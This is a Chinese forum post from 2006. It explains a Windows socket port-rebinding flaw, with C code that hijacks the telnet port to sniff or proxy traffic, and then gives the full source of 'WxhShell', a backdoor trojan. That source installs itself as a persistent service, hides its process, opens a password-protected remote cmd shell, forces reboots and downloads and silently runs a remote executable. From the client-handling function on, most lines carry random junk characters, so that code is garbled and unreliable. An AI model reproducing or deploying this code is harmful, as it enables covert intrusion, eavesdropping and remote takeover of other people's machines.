[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

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0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; LHx ")H?,
if(chr[0]==0xd || chr[0]==0xa) { 6q'Q?Uw^
pwd=0; ,6MJW#~]
break; Hmm0H6&u
} `peR,E
i++; 0+qC_ISns
} o:cTc:l)
^/}4M'[w
// 如果是非法用户，关闭 socket cy(w*5Upu
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {T^D&i# o
} KyT=:f V
Q5dqn"?
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P-[})Z=
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JW><&hY$"
oLR/\Y(
while(1) { U!Zj%H1XQ0
lr;ubBbT
ZeroMemory(cmd,KEY_BUFF); iex%$> "
7neJV
// 自动支持客户端 telnet标准 ct|0zl~
j=0; {*n<A{$[ m
while(j<KEY_BUFF) { [G|(E
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B%u[gNZ
cmd[j]=chr[0]; +J{ErsG?6P
if(chr[0]==0xa || chr[0]==0xd) { _3%:m||,XP
cmd[j]=0; Y)lr+~84f
break; ><IWF#kUA
} IEm~^D#<=
j++; (||qFu9a
} 'ParMT
8Uh|V&
// 下载文件 6Hb a@Q1`
if(strstr(cmd,"http://")) { z__t8yc3
send(wsh,msg_ws_down,strlen(msg_ws_down),0); PN9vg9'
if(DownloadFile(cmd,wsh)) E=,b;S-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); b"#S92R+
else s&o9LdL
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I:oEt
} 3'6 UvAXFH
else { w[l#0ZZ
rxMo7px@}I
switch(cmd[0]) { =$bF[3D
-le^ 5M7
// 帮助 kq(><T
case '?': { F~E)w5?\O
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1Zp/EYWa{
break; Hci>q`p#
} bcT_YFLQ
// 安装 YWd2bRb
case 'i': { ??B!UXi4R
if(Install()) XW8@c2jN\7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |Fze9kZO
else 3}phg
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z}-R^"40
break; D}}?{pe
} z]%@r 7
// 卸载 =ZU!i0 K
case 'r': { W\Scak>
if(Uninstall()) a]P%Y.?r
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <4;, y*"n
else DC> R
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e~)4v
break; D5Sbs(
} WdS1v%
// 显示 wxhshell 所在路径 uMGy-c
case 'p': { jCtk3No
char svExeFile[MAX_PATH]; ZGX"Vn|YL
strcpy(svExeFile,"\n\r"); ,#;`f=aqTG
strcat(svExeFile,ExeFile); +,R!el!o~u
send(wsh,svExeFile,strlen(svExeFile),0); `%#_y67v
break; %nq<nfDT
} 2P'Vp7f6 Y
// 重启 dn])6Xl;i
case 'b': { Hr}"g@ <
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B[YyA
if(Boot(REBOOT)) Glw|*{$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *]<=04v]R
else { BHgs,
closesocket(wsh); N#-.[9!
ExitThread(0); Ufi#y<dP
} @,Dnl v|?
break; Z|UVH
} *wmkcifF;
// 关机 't8!.k
case 'd': { k:~UBs\)(
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); NW0se DL
if(Boot(SHUTDOWN)) 3"0QW4A
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =z9,=rR4
else { 7|dm"%@
closesocket(wsh); j?$B@Zk
ExitThread(0); DH_~,tK9
} [{xY3WS
break; Fq+Cr?-
} xA:;wV
// 获取shell n;xzjq-
case 's': { rttKj{7E
CmdShell(wsh); >a2[P"
closesocket(wsh); ,*lns.|n
ExitThread(0); U{lf$
break; `aX+Gz?
} DtGkhq;
// 退出 $$4flfx
case 'x': { BIx*(
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &e).l<B
CloseIt(wsh); buzpmRoN)
break; W"#<r
} RB""(<
// 离开 <T.R%Jys
case 'q': { Dn#5H{D-d
send(wsh,msg_ws_end,strlen(msg_ws_end),0); FO!0TyQ
closesocket(wsh); "3Dnp?gB
WSACleanup(); w > GW
exit(1); 3kGg;z6
break; Dvz 6 E
} VY~*QF~P
} J'=s25OWU
} n 78!]O
\?e2qu/ C
// 提示信息 *Z.{1
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f]Aa$\@b
} (qc<'$o
} oliVaavj
d^IX(y*$
return; v\!Cq+lFML
} E)I&? <g
d9e~><bPJ
// shell模块句柄 j/T@-7^0
int CmdShell(SOCKET sock) 1+M !EW
{ -Tuk.>i)
STARTUPINFO si; Qqb%^}Xx'u
ZeroMemory(&si,sizeof(si)); g.:ZMV
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H)*%eG~
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 60>g{1]
PROCESS_INFORMATION ProcessInfo; #vy[v22
char cmdline[]="cmd"; vft7-|8T
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &];W#9"Z
return 0; #|:q"l9
} #X!seQ7a
E'8XXV^I?P
// 自身启动模式 !.@:t`w
int StartFromService(void) FRPdfo37
{ 6,~ %
typedef struct /N/jwLr
{ 1#>uqUxah
DWORD ExitStatus; 8BS Nm
DWORD PebBaseAddress; u,72Mm>
DWORD AffinityMask; r`)'Kd
DWORD BasePriority; +['1~5
ULONG UniqueProcessId; 8r,0Qic2K
ULONG InheritedFromUniqueProcessId; OaN"6Ge#
} PROCESS_BASIC_INFORMATION; Z>1yLt@ls
[["eK9}0
PROCNTQSIP NtQueryInformationProcess; UNrO$aX!1'
ph2 _P[S'
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )r*F.m{&:
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |N^8zo :
<Fl.W}?Q}
HANDLE hProcess; B~<bc
PROCESS_BASIC_INFORMATION pbi; rO1N@kd/
DYZk1
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7Fa1utVI
if(NULL == hInst ) return 0; wz:,gpH
11fV|b%
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h;cw=G
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b|k(:b-G&.
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 11A;z[Zk
5HAAaI
if (!NtQueryInformationProcess) return 0; /b4>0DXT5
li')U
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {t'SA]|g
if(!hProcess) return 0; =t}m
JkLpoe81
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yzNDXA.
mG*Yv
CloseHandle(hProcess); !*"#*)S.
w);Bet
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v&66F`
if(hProcess==NULL) return 0; cSTL.QF
~/K'n
HMODULE hMod; FA%BzU5^
char procName[255]; 7.yCs[Z
unsigned long cbNeeded; hx~rq`{
q(#,X~0
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u~N'UD1x
#V[Os!ns
CloseHandle(hProcess); $O;a~/T
gHWsKE %
if(strstr(procName,"services")) return 1; // 以服务启动 m{yq.H[X
NeewV=[%
return 0; // 注册表启动 W{}M${6&
} H,!yG5yF
K1-3!G
// 主模块 .36]>8
int StartWxhshell(LPSTR lpCmdLine) Ob|tA
{ Q'^$;X~-<
SOCKET wsl; $D*Yhv!/
BOOL val=TRUE; fzjtaH?
int port=0; 7zNfq.Ni~
struct sockaddr_in door; 7u%OYt D E
\tU[,3
if(wscfg.ws_autoins) Install(); _#<7s`i
(gutDUO;
port=atoi(lpCmdLine); urD{'FQf
yW}x
if(port<=0) port=wscfg.ws_port; _tnoq;X[
catJC3
WSADATA data; ]6WP;.[
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |5BvVqn
2d OUY $4
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; mP +H C)2
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %LnG^L
door.sin_family = AF_INET; A{Y/eG8
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ht~YSQ~:y
door.sin_port = htons(port); y(**F8>?xE
xUB{{8B:L
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \%#luk@:
closesocket(wsl); GkdxwuRw
return 1; :-+j,G9t
} gYw=Z_z
3e;ux6
if(listen(wsl,2) == INVALID_SOCKET) { $h1pL>^J
closesocket(wsl); V67<Ky>
return 1; XE:bYzH
} xZMAX}8v
Wxhshell(wsl); '81WogH:
WSACleanup(); _E^ !,Wz
C^ ~[b o
return 0; n1y*`5!
wqt/0,\
} )aX#RM? N
@WzrrCpj
// 以NT服务方式启动 *nY$YwHB
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6?l|MU"Q.
{ ~:UAL}b{\~
DWORD status = 0; Rap_1o9#\
DWORD specificError = 0xfffffff; <'P+2(Oi
T FK#ign
serviceStatus.dwServiceType = SERVICE_WIN32; }Szs9-Wns
serviceStatus.dwCurrentState = SERVICE_START_PENDING; tHH @[E+h
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]ex2c{ G
serviceStatus.dwWin32ExitCode = 0; tj" EUqKQ
serviceStatus.dwServiceSpecificExitCode = 0; };~I#X
serviceStatus.dwCheckPoint = 0; YD;"_yH
serviceStatus.dwWaitHint = 0; >td\PW~X
)KN]"<jB
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); h]^= y.Q
if (hServiceStatusHandle==0) return; v-}D>)M^W
t,yMO
status = GetLastError(); kNUNh[
if (status!=NO_ERROR) SKSI\]Cc
{ 'u%SI]*;>
serviceStatus.dwCurrentState = SERVICE_STOPPED; '&iAPc4=
serviceStatus.dwCheckPoint = 0; $&0\BvS
serviceStatus.dwWaitHint = 0; 2D{`AJ
serviceStatus.dwWin32ExitCode = status; Y:5Gp8Vi
serviceStatus.dwServiceSpecificExitCode = specificError; X0]5I0YP
SetServiceStatus(hServiceStatusHandle, &serviceStatus); yxy~N\0
return; lUM-~
} 24d{ol)
@Yzb6@g"
serviceStatus.dwCurrentState = SERVICE_RUNNING; y6Ea_v
serviceStatus.dwCheckPoint = 0; TZE;$:1vx>
serviceStatus.dwWaitHint = 0; +(o]E3
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Vs&Ul6@N
} .v#Tj|w^
q<Wz9lDMNR
// 处理NT服务事件，比如：启动、停止 2!6-+]tC
VOID WINAPI NTServiceHandler(DWORD fdwControl) Q|W~6
{ RjG=RfB'V
switch(fdwControl) Wg=4`&F^
{ 0/b3]{skK
case SERVICE_CONTROL_STOP: LhtA]z,m
serviceStatus.dwWin32ExitCode = 0; G\H|\i
serviceStatus.dwCurrentState = SERVICE_STOPPED; U$6(@&P!
serviceStatus.dwCheckPoint = 0; Znh)m
serviceStatus.dwWaitHint = 0; W0N*c*k
{ _!E/em
SetServiceStatus(hServiceStatusHandle, &serviceStatus); d/`d:g
} :@sjOY
return; TM`6:5ONv
case SERVICE_CONTROL_PAUSE: [7=?I.\Cr7
serviceStatus.dwCurrentState = SERVICE_PAUSED; rPoq~p[Y
break; N5@l[F7I
case SERVICE_CONTROL_CONTINUE: sFonc
serviceStatus.dwCurrentState = SERVICE_RUNNING; $ud\CU:r
break; (p}N cn.
case SERVICE_CONTROL_INTERROGATE: PQ4)kVT
break; n~v*
}; bc*CP0t|
SetServiceStatus(hServiceStatusHandle, &serviceStatus); {s~t>Rp+
} E9PD1ADR
"P8cgj C
// 标准应用程序主函数 ]dQ
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) bxF'`^En
{ 6^hCW`jG
](sT,'
// 获取操作系统版本 fdzaM&
OsIsNt=GetOsVer(); 1<&nHFJ;[
GetModuleFileName(NULL,ExeFile,MAX_PATH); t,R4q*
iKe68kx
// 从命令行安装 CJ[^Fi?CH
if(strpbrk(lpCmdLine,"iI")) Install(); |C.[eHe&D
APL #-`XC
// 下载执行文件 "|KD$CY
if(wscfg.ws_downexe) { OmC F8:\/
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +p_>fO
WinExec(wscfg.ws_filenam,SW_HIDE); f-a+&DB9
} {t QZqqdn@
7& G#&d
